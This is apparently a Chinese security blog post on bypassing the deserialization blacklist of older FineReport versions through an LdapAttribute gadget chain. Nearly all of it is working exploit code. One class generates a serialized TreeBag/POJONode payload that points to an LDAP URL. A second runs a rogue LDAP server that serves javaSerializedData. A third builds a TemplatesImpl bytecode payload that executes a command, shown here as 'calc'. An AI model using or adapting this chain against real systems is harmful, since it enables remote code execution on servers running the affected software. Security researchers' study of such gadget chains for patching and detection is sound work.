使用LdapAttribute绕过帆软黑名单
最新的11版本已经有关于LdapAttribute的黑名单了,本文给出的是根据黑名单构造的以前版本绕过
这里使用cc4的TreeBag替换BadAttributeValueExpException构造LdapAttribute利用链,参考: 二次反序列化POC构造 - https://mp.weixin.qq.com/s/UhlFXtRW4Ko38U8jP0Z99Q
POC生成类: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 package main;import com.fr.third.fasterxml.jackson.databind.node.POJONode;import com.fr.third.org.apache.commons.collections4.bag.TreeBag;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import util.LdapServer;import javax.naming.CompositeName;import javax.naming.directory.BasicAttribute;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.zip.GZIPOutputStream;@SuppressWarnings("all") public class LdapAttrbuteAttck { private static void modifyTreeMapKey (Object node, String targetKey, Object newKey) throws NoSuchFieldException, IllegalAccessException { if (node == null ) { return ; } Field leftField = node.getClass().getDeclaredField("left" ); Field rightField = node.getClass().getDeclaredField("right" ); Field keyField = node.getClass().getDeclaredField("key" ); leftField.setAccessible(true ); rightField.setAccessible(true ); keyField.setAccessible(true ); Object leftNode = leftField.get(node); Object rightNode = rightField.get(node); String key = (String) keyField.get(node); if (targetKey.equals(key)) { keyField.set(node, newKey); } modifyTreeMapKey(leftNode, targetKey, newKey); modifyTreeMapKey(rightNode, targetKey, newKey); } public static void setFieldValue (Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode(getGadgetObj()); ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator" ); TreeBag treeBag = new TreeBag(classComparator); treeBag.add("1" ); Class clazz = treeBag.getClass(); Class abstractBagClass = clazz.getSuperclass(); Field mapField = abstractBagClass.getDeclaredField("map" ); mapField.setAccessible(true ); TreeMap<Object,Integer> treeMap = (TreeMap<Object, Integer>) mapField.get(treeBag); Field rootField = TreeMap.class.getDeclaredField("root" ); rootField.setAccessible(true ); Object root = rootField.get(treeMap); modifyTreeMapKey(root,"1" ,node); FileOutputStream fileOutputStream = new FileOutputStream("frldap.ser" ); GZIPOutputStream gzipOutputStream = new GZIPOutputStream(fileOutputStream); ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream); oos.writeObject(treeBag); oos.close(); System.out.println("Generated:frldap.ser" ); } public static BasicAttribute getGadgetObj () { try { Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute" ); Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); clazz_cons.setAccessible(true ); BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"T" }); Field bcu_fi = clazz.getDeclaredField("baseCtxURL" ); bcu_fi.setAccessible(true ); bcu_fi.set(la, "ldap://127.0.0.1:1389/" ); CompositeName cn = new CompositeName(); cn.add("a" ); cn.add("b" ); Field rdn_fi = clazz.getDeclaredField("rdn" ); rdn_fi.setAccessible(true ); rdn_fi.set(la, cn); return la; }catch (Exception e){ e.printStackTrace(); } return null ; } }
LDAP服务: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package util;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;@SuppressWarnings("all") public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { int port = 1389 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Ldap Server Start" ); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); entry.addAttribute("javaClassName" , "T" ); try { entry.addAttribute("javaSerializedData" , JacksonTemplatePayload.getData()); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0 , ResultCode.SUCCESS)); System.out.println("Send SerializedData" ); System.out.println("Sent '" + base.toString() + "' to the LDAP service" ); System.out.println("Detailed data: " + entry); } catch (Exception e) { e.printStackTrace(); } } } }
服务端恶意数据操作类: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 package util;import com.fr.third.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import main.SignedObjectAttck;import java.io.*;import com.fr.third.org.apache.commons.collections4.bag.TreeBag;import java.lang.reflect.Field;import java.util.Base64;import java.util.zip.GZIPOutputStream;public class JacksonTemplatePayload { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] getTemplatePayload() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("T" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49 ); return clazz.toBytecode(); } static { } private static void modifyTreeMapKey (Object node, String targetKey, Object newKey) throws NoSuchFieldException, IllegalAccessException { if (node == null ) { return ; } Field leftField = node.getClass().getDeclaredField("left" ); Field rightField = node.getClass().getDeclaredField("right" ); Field keyField = node.getClass().getDeclaredField("key" ); leftField.setAccessible(true ); rightField.setAccessible(true ); keyField.setAccessible(true ); Object leftNode = leftField.get(node); Object rightNode = rightField.get(node); String key = (String) keyField.get(node); if (targetKey.equals(key)) { keyField.set(node, newKey); } modifyTreeMapKey(leftNode, targetKey, newKey); modifyTreeMapKey(rightNode, targetKey, newKey); } public static byte [] getData() throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); byte [] code = Base64.getDecoder().decode(Attck.evil); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{code}); setFieldValue(obj, "_name" , "z3eyond" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); POJONode node = new POJONode(obj); ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator" ); TreeBag treeBag = new TreeBag(classComparator); treeBag.add("1" ); Class clazz = treeBag.getClass(); Class abstractBagClass = clazz.getSuperclass(); Field mapField = abstractBagClass.getDeclaredField("map" ); mapField.setAccessible(true ); TreeMap<Object,Integer> treeMap = (TreeMap<Object, Integer>) mapField.get(treeBag); Field rootField = TreeMap.class.getDeclaredField("root" ); rootField.setAccessible(true ); Object root = rootField.get(treeMap); modifyTreeMapKey(root,"1" ,node); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(treeBag); return byteArrayOutputStream.toByteArray(); } }